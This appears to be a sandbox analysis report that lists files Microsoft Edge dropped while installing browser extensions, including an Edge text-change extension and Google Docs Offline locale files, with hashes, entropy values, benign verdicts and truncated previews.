SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir6524_259113476\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir6524_259113476\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir6524_259113476\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir6524_259113476\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_259113476\a7201f4f-46ed-4af5-8aad-841cc2129008.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\0b549178-a9e6-4709-bc11-2ae1b28b5fd2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154477
Entropy (8bit):	7.835886983924039
Encrypted:	false
SSDEEP:	3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
MD5:	14937B985303ECCE4196154A24FC369A
SHA1:	ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
SHA-256:	71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
SHA-512:	1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...\|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.\|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,\|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m 